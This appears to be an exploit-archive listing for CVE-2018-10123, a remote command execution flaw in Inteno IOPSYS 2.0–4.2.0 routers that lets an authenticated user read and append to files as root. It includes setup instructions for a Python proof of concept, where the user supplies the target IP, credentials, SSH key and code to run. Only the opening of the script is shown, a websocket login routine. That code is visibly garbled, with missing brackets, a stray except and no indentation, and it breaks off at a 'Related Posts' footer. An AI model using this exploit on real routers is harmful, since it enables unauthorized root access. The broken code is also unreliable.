Inteno IOPSYS 2.0 - 4.2.0 p910nd Remote Command Execution

Inteno IOPSYS version 2.0 - 4.2.0 p910nd suffers from a remote command execution vulnerability.

MD5 | f12cc1a1d1f999986c5f4c6d593268a7

Any authenticated user can modify the configuration for it in a way which allows them to read and append to any file as root. This leads to information disclosure and remote code execution. This vulnerability has been assigned the CVE ID: CVE-2018-10123.

This PoC requires Python 3.6 and a module called websocket-client which you can install by evoking pip install websocket-client. Please note that if you wish to use this, you should edit lines 58-61 of the script to include the proper IP, username, password and SSH key. You may also edit line 63 to include your own code for execution.


import json
import sys
import socket
import os
import time
from websocket import create_connection

def ubusAuth(host, username, password):
ws = create_connection("ws://" + host, header = ["Sec-WebSocket-Protocol: ubus-json"])
req = json.dumps({"jsonrpc":"2.0","method":"call",
{"username": username,"password":password}],
response = json.loads(ws.recv())
key = response.get('result')[1].get('ubus_rpc_session')
except IndexError:

Related Posts